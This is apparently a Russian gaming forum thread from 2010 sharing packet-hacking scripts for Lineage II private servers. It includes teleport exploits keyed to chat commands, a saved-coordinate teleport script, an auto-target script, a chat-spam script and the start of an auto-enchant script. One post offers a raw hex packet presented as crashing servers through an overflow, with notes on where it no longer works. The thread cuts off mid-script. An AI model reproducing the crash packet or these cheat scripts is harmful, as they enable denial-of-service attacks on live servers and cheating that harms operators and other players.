Begin
If fromclient and (pck=hstr('38 2E 00 6D 00 61 00 72 00 6C 00 75 00 6B 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('F5 D1 01 00 DD C7 01 00 63 F1 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 73 00 74 00 65 00 64 00 6D 00 69 00 65 00 6C 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('44 D4 01 00 D4 2D 01 00 3D F7 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 76 00 69 00 72 00 67 00 69 00 6C 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('DA 80 00 00 9D 43 FF FF F5 06 00 00');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 72 00 61 00 68 00 6F 00 72 00 61 00 6B 00 74 00 69 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('B6 95 00 00 91 3F FF FF 98 FB FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 73 00 70 00 6C 00 69 00 6E 00 74 00 65 00 72 00 73 00 74 00 61 00 6B 00 61 00 74 00 6F 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('BD 24 01 00 AD 4A FF FF 63 F3 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 63 00 61 00 72 00 61 00 64 00 69 00 6E 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('7F 4A 02 00 D6 1D FF FF 5C F4 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6E 00 6F 00 65 00 6C 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('20 3C 02 00 45 1A FF FF 64 F4 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6D 00 64 00 6B 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('03 7B 01 00 F1 14 FF FF 5C F6 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6B 00 61 00 6C 00 69 00 73 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('63 74 01 00 AE 56 00 00 C0 F4 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6D 00 61 00 74 00 69 00 6C 00 64 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('D4 10 01 00 AF 46 00 00 B4 F1 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 75 00 6E 00 69 00 63 00 6F 00 72 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('7D 4F 01 00 0E D5 FE FF 6E F2 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6A 00 70 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('B0 47 01 00 10 C7 FE FF 4A F2 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6E 00 6F 00 62 00 6C 00 72 00 62 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('62 65 01 00 52 AF FE FF 66 F5 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6C 00 61 00 64 00 64 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('1D 4C 01 00 89 3E 00 00 0E F9 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 69 00 72 00 61 00 6E 00 70 00 72 00 61 00 79 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('26 CC 01 00 BE 36 02 00 2C F6 FF FF ');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 61 00 64 00 65 00 6E 00 70 00 72 00 61 00 79 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('0A 40 02 00 7E 06 00 00 AD FE FF FF ');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 72 00 75 00 6E 00 65 00 70 00 72 00 61 00 79 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('07 23 00 00 08 40 FF FF 27 04 00 00 ');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6F 00 72 00 65 00 6E 00 70 00 72 00 61 00 79 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('A6 47 01 00 49 91 00 00 3D F7 FF FF ');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 64 00 69 00 6F 00 6E 00 70 00 72 00 61 00 79 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('42 56 00 00 6C 77 02 00 AD F5 FF FF ');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 6C 00 75 00 64 00 69 00 6F 00 70 00 72 00 61 00 79 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('3A B9 FF FF 45 A6 01 00 6F F6 FF FF ');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 69 00 6E 00 6E 00 61 00 64 00 72 00 69 00 6C 00 70 00 72 00 61 00 79 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('3A C5 01 00 32 D2 03 00 1D FD FF FF ');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 6F 00 64 00 64 00 61 00 72 00 64 00 70 00 72 00 61 00 79 00 31 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('FA 43 02 00 EB 3A FF FF 1C FA FF FF ');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 6F 00 64 00 64 00 61 00 72 00 64 00 70 00 72 00 61 00 79 00 32 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('2C 3C 02 00 FD 3A FF FF 1B FA FF FF ');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 73 00 63 00 68 00 75 00 74 00 74 00 67 00 61 00 72 00 74 00 70 00 72 00 61 00 79 00 31 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('DF 32 01 00 6C A4 FD FF E3 00 00 00 ');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 73 00 63 00 68 00 75 00 74 00 74 00 67 00 61 00 72 00 74 00 70 00 72 00 61 00 79 00 31 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('42 2B 01 00 68 A4 FD FF E3 00 00 00 ');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 65 00 6C 00 76 00 65 00 6E 00 74 00 72 00 65 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('AC B4 00 00 06 A1 00 00 4B F2 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 65 00 6C 00 76 00 65 00 6E 00 77 00 68 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('12 BB 00 00 2C C3 00 00 57 F4 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 65 00 6C 00 76 00 65 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('90 B7 00 00 32 C9 00 00 5F F4 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 64 00 61 00 72 00 6B 00 65 00 6C 00 76 00 65 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('FE 25 00 00 55 3D 00 00 21 EE FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 64 00 61 00 72 00 6B 00 65 00 6C 00 76 00 65 00 6E 00 77 00 68 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('DF 34 00 00 96 44 00 00 42 EE FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 69 00 72 00 61 00 6E 00 77 00 68 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('98 44 01 00 E3 3C 02 00 77 F2 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 61 00 64 00 65 00 6E 00 77 00 68 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('60 43 02 00 8E 66 00 00 71 F7 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 6C 00 75 00 64 00 69 00 6F 00 77 00 68 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('B0 CC FF FF B0 E7 01 00 D2 F3 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 67 00 6F 00 64 00 64 00 61 00 72 00 64 00 77 00 68 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('99 3B 02 00 C2 1E FF FF 69 F4 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 64 00 77 00 61 00 72 00 76 00 65 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('47 C7 01 00 23 37 FD FF 0F FA FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6F 00 72 00 63 00 76 00 69 00 6C 00 6C 00 61 00 67 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('9B 53 FF FF 09 43 FE FF 10 FF FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6F 00 72 00 63 00 76 00 69 00 6C 00 6C 00 61 00 67 00 65 00 77 00 68 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('18 57 FF FF 64 44 FE FF 21 FF FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 64 00 77 00 61 00 72 00 76 00 65 00 6E 00 77 00 68 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('F0 C0 01 00 F8 40 FD FF 98 FC FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 66 00 6C 00 6F 00 72 00 61 00 6E 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('21 43 00 00 84 98 02 00 55 F2 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('21 43 00 00 84 98 02 00 55 F2 FF FF')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('F6 B7 00 00 F8 DA 02 00 62 F2 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 72 00 75 00 6E 00 65 00 68 00 61 00 72 00 62 00 6F 00 72 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('84 94 00 00 4F 6B FF FF C6 F1 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 74 00 61 00 6C 00 6B 00 69 00 6E 00 67 00 69 00 73 00 6C 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('43 B7 FE FF 87 B6 03 00 6E F1 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 68 00 6F 00 74 00 73 00 70 00 72 00 69 00 6E 00 67 00 73 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('55 50 02 00 F2 65 FE FF D2 F4 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 69 00 6D 00 70 00 65 00 72 00 69 00 61 00 6C 00 74 00 6F 00 6D 00 62 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('E3 D8 02 00 36 D8 FE FF F6 F4 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6F 00 6C 00 79 00 6D 00 70 00 69 00 61 00 64 00 32 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('85 B2 FF FF D2 AD FF FF 2E F4 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 77 00 61 00 6C 00 6C 00 6F 00 66 00 61 00 72 00 67 00 6F 00 73 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('6B B2 02 00 99 39 FF FF BE F2 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 66 00 6F 00 72 00 67 00 65 00 6F 00 66 00 74 00 68 00 65 00 67 00 6F 00 64 00 73 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('9F 97 02 00 D6 39 FE FF 72 F7 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 73 00 6B 00 61 00 72 00 61 00 74 00 6F 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('F1 5D 01 00 1A 51 FF FF A2 F7 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 76 00 61 00 6C 00 6C 00 65 00 79 00 6F 00 66 00 73 00 61 00 69 00 6E 00 74 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('98 09 01 00 B4 E6 FE FF 5C F1 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6C 00 6F 00 73 00 74 00 6E 00 65 00 73 00 74 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('09 66 00 00 A6 BC FF FF 40 F5 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 62 00 6C 00 61 00 69 00 7A 00 69 00 6E 00 67 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('99 6D 02 00 D3 CD FF FF A4 F4 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 64 00 61 00 72 00 6B 00 6F 00 6D 00 65 00 6E 00 73 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('5B B4 FF FF A2 34 00 00 DD EC FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 64 00 77 00 61 00 72 00 76 00 65 00 6E 00 74 00 6F 00 77 00 65 00 72 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('D8 9E 01 00 E1 58 FD FF 54 02 00 00');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 64 00 77 00 61 00 72 00 76 00 65 00 6E 00 74 00 6F 00 77 00 65 00 72 00 32 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('19 9E 01 00 FA 53 FD FF B6 04 00 00');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 66 00 69 00 65 00 6C 00 64 00 6F 00 66 00 73 00 69 00 6C 00 65 00 6E 00 63 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('88 3E 01 00 F1 CA 02 00 C4 F5 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 73 00 65 00 61 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('50 82 01 00 34 D2 03 00 B8 ED FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 61 00 6C 00 69 00 67 00 61 00 74 00 6F 00 72 00 69 00 73 00 6C 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('3C C3 01 00 9A CD 02 00 A7 F1 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 68 00 69 00 64 00 65 00 77 00 61 00 79 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('90 C1 00 00 67 C8 01 00 AC F7 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 66 00 61 00 6C 00 6C 00 73 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('68 22 00 00 2A D3 FF FF 50 F0 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 68 00 75 00 6E 00 74 00 65 00 72 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('6D C7 01 00 EC 29 01 00 56 F5 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 68 00 75 00 6E 00 74 00 65 00 72 00 77 00 68 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('C7 C2 01 00 C7 2B 01 00 A4 F5 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 73 00 65 00 63 00 72 00 65 00 74 00 63 00 61 00 73 00 74 00 6C 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('24 2D 00 00 19 73 01 00 38 F6 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 63 00 72 00 75 00 6D 00 61 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('6B 40 00 00 F1 BD 01 00 54 F2 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 6D 00 6F 00 75 00 6E 00 74 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('94 B3 FF FF CE CA 02 00 0D F3 FF FF');
SendToClient;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 70 00 6C 00 61 00 63 00 65 00 74 00 6F 00 68 00 69 00 64 00 65 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
buf:=buf+ hstr('1D 18 00 00 81 F4 FF FF 6B F4 FF FF');
SendToClient;
end;
end;
end.

DonKanreole
15.06.2010, 03:08
Новейший, но уже успевший быть фикс, пакет на краш сервера. Заставляет сервер упасть, в следствии чего происходит рестарт. Вообще ни что иное, как стандартный оверфлоу (переполнение). Отправлять можно в окне выбора персонажей. И ещё, очень быстро палится аминами по логам и так же быстро фиксится.

Не работает: l2server.ru, lineage2.su (вроде фикс ), abyss, lineageii

0B 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76
00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76
00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76
00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76 00 76
Взято с ач
Ставим спасибку если еще где нибудь работает

Krips
24.06.2010, 22:48
как этим пользоваться пишет наведите на себя тарге я навожу пишет координаты а что дальше то?

1. Включаем скрипт.
2. Стаём в то место координаты которого нам нужно сохранить.
3. Бежим/тп куда угодно.
4. Как только нам надо тп в место которое мы сохранили пишем в чат .soh
5. Появляемся в том месте, юзаем любой скрипт, и вуоля...мы на сохраненном месте.

З.Ы. это за условия что на серере пашет тп скрипт.
Если же он работает, то работает и авторес. Да и любой другой скрипт на тп найденый в и-нете.

~TheLast~
27.06.2010, 15:58
Скрипт собирать Рекомендации.для ХБ
в башку стукнуло наверно над в туалет
СУТЬ переделать скрипты расказывающие анекдоты
на собирание РЕКов.
В титул пишу За РЕК скажу Анекдот
чел рекает и ему в пм анекдот.норм наверн будит
я туп могу ток поменять в скрипте чтото как писать незнаю неумею необучен
анекдоты два скрипта как основа для пример

procedure Init; //Вызывается при включении скрипта
begin
timer1:=TTimer.Create(nil);
timer1.OnTimer:=@OnTimer; //
timer1.enabled:=true; //
timer1.interval:=1000;



temp[1]:='" Водка в стиле IT: ';
temp[2]:='0.1л - demo ';
temp[3]:='0.25л - trial version ';
temp[4]:='0.5л - personal edition ';
temp[5]:='0.7л - professional edition ';
temp[6]:='1.0л - network edition ';
temp[7]:='1.75л - enterprise ';
temp[8]:='3л - for small business ';
temp[9]:='5л - corporate edition ';
temp[10]:='Бутыль самогона - home edition ';
temp[11]:='"На посошок" - Service pack ';
temp[12]:='Рассол с утра - Recovery tool ';
temp[13]:='Закуска - plugins ';
temp[14]:='Пиво - patch ';
temp[15]:='Coca-cola, Fanta, 7 UP - trojan viruses';
temp[16]:='';


x:=1;
end;

procedure OnTimer(Sender: TObject);
begin
///
if temp

* <> '' then

begin
buf:=hstr('38');
writes(temp

* );

buf:=buf + hstr('01 00 00 00'); ///9- али // 3-пати // 01 - общий
sendtoserverex('ник');
end;
x:=x+1;
if x>= 19 then x:=19; //ЭТА СТРОКА ДЛЯ ТОГО ЧТОБ XELAT заценил глубину мысли! незнаю я синтаксиса-) и учиться лень-) там какойто АНТИЛ надо применять-) а зачем? и так все пашет.
end;


procedure Free; //Вызывается при выключении скрипта
begin
timer1.Free;
end;

//основная часть скрипта
//вызывается при приходе каждого пакета если скрипт включен
begin

end.

взато с А4

program autotarget;
// Автоматическое взятие в таргет атакующего вас игрока или моба
// Чтобы включить скрипт используйте в игре социальное действие - Yes
// Чтобы выключить скрипт используйте в игре социальное действие - No
// Автор: Furious
// Версия: 0.4

const
Name='NLObP'; //имя чара, с соблюдением регистра букв

var
Attacker, MyOID, ObjectID, MyX, MyY, MyZ, i: Integer;
Status: boolean;

procedure Init; //Вызывается при включении скрипта
begin
status:=false;
end;

procedure TargetAttacker(Attacker: Integer);
begin
//c1F=Action:d(ObjectID)d(OriginX)d(OriginY)d(Origin Z)c(ActionID)
buf:=#$1F;
WriteD(Attacker);
WriteD(MyX);
WriteD(MyY);
WriteD(MyZ);
WriteC(00);
SendToServerEx(Name);
end;

//************************************************** ****************************
//основная часть скрипта, вызывается при приходе каждого пакета, если скрипт включен
begin
//не обрабатываем пустые пакеты
if pck='' then exit;

if (ConnectName=Name) and FromServer then
begin
case pck[1] of
//32=UserInfo:d(X)d(Y)d(Z)d(isInAirShip)d(ObjectID). ..
#$32: begin
i:=2;
MyX:=ReadD(i);
MyY:=ReadD(i);
MyZ:=ReadD(i);
ReadD(i); //пропускаем isInAirShip
MyOID:=ReadD(i);
end;
//33=Attack:d(AttackerID)d(TargetID)...
//48=MagicSkillUse:d(CharID)d(TargetID)...
#$33,#$48: begin
if Status then
begin
Attacker:=ReadD(2);
ObjectID:=ReadD(6);
if (Attacker<>ObjectID) and (MyOID=ObjectID) then TargetAttacker(Attacker);
end;
end;
end; //case
end; //if

if (ConnectName=Name) and FromClient then
begin
case pck[1] of
//34=RequestSocialAction:d(Action:Get.Func09)
#$34: begin
case ReadD(2) of
5: Status:=false;
6: Status:=true;
end;
end;
//59=ValidatePosition:d(X)d(Y)d(Z)...
#$59: begin
MyX:=ReadD(2); //получаю координату х моего чара
MyY:=ReadD(6); //получаю координату у моего чара
MyZ:=ReadD(10); //получаю координату z моего чара
end;
end; //case
end; //if
end.

xxdoomxx
14.07.2010, 01:58
var
// ник
x:integer; y:integer;
a:integer; b:boolean; z:integer;
procedure Init; // gamehack.xz.lt
begin
SendMsc('Target Char nick (gamehack.xz.lt)');
b:=false;
end;
procedure SendMsc(msc:string);
begin
buf:=#$4A;
WriteD(0);
WriteD(10);
WriteS('');
WriteS(msc);
SendToClient;
end;
Begin
begin
if FromClient and (pck[1]=#$04)and (not b) then
begin
a:=ReadD(2); x:=ReadD(6);
y:=ReadD(10); z:=ReadD(14);
SendMsc('save ObjectID = '+inttostr(a));
SendMsc('Save x = '+inttostr(x));
SendMsc('Save y = '+inttostr(y));
SendMsc('Save z = '+inttostr(z));
b:=true;
end;
end;
Begin
If fromclient and (pck=hstr('38 2E 00 73 00 6F 00 68 00 00 00 00 00 00 00')) then
begin
buf:=#$28;
WriteD(a);
Writed(x);
Writed(y);
Writed(z);
SendToClient;
end;
end;
end.

xxdoomxx
14.07.2010, 15:03
const
myname='Ch1se'; //<<== пишем свой НИК
max=80; //<<== колличество ячеек в рюкзаке
enchantResult=16; //<<== на сколько точить
encSafe=3; //<<== на сколько безопасно точить
var
BaseItems:array[1..max,1..10] of integer;
EncItems:array[1..10] of integer;
Timer01,Timer02: TTimer;
mytext:string;
x,textID,vsego:integer;
enchantID,enchantObjectID:integer;
ItemOID,objectOID,selectObjectID,itemID:integer;
skrolObjectID,bskrolObjectID,skrolAmount,bskrolAmo unt,skrolID,bskrolID,skrolOID,bskrolOID:integer;
enchantLevel:word;
start,startenchant:Boolean;
//---
procedure SendMsg2(msg:string);
begin
buf:=#$4A;
WriteD(0);
WriteD(10);
WriteS('');
WriteS(msg);
SendToClientEx(myname);
end;
//...
procedure ItemList;
var
i, j, k: integer;
ListSize: integer;
begin
j:=4; //пропускаем дo ListSize
ListSize:=ReadH(j);
for i:=1 to ListSize do
if (i<=ListSize) then begin
BaseItems[i,1]:=ReadH(j); //ItemType1- 1:одето броня. 0:бижа. 4:в рюкзаке
BaseItems[i,2]:=ReadD(j); //ObjectID
BaseItems[i,3]:=ReadD(j); //ItemID
BaseItems[i,4]:=ReadD(j); //LocationSlot
BaseItems[i,5]:=ReadD(j); // q Amount:
j:=j+4; // q Amount:
BaseItems[i,6]:=ReadH(j); //ItemType2
BaseItems[i,7]:=ReadH(j); // CustomType1
BaseItems[i,8]:=ReadH(j); //isEquipped:
BaseItems[i,9]:=ReadD(j); //BodyPart
BaseItems[i,10]:=ReadH(j); //EnchantLevel
//SendMsg2( ' List; ItemID------- : '+IntToStr(BaseItems[i,3])+'' );
inc(j,30);// ФИНАЛ
end else for k:=1 to 10 do BaseItems[i,k]:=0; // забиваем нулями
if (0<ItemID) then objectOID:=GetObjectID(ItemID);//находим по ItemID предмет с ObjectID
end;
//===
//находим ItemID по ObjectID предмета
function GetItemID(enchantObjectID:integer) : integer;
var
i : integer;
begin
for i:=1 to max do
if (BaseItems[i,2]=selectObjectID) then begin
itemID:=BaseItems[i,3];
SendMsg2 ('- ID предмета для Заточки:'+IntToStr(itemID)+' ');
start:=true;
exit;
end;
end;
//===
//находим enchantID предмета по ItemID для заточки
function GetObjectID(itemID:integer) : integer;
var
i :integer;

begin
enchantLevel:=0;
vsego:=0;
for i:=1 to max do
if (BaseItems[i,3]=itemID) and (BaseItems[i,10]< enchantResult) then begin
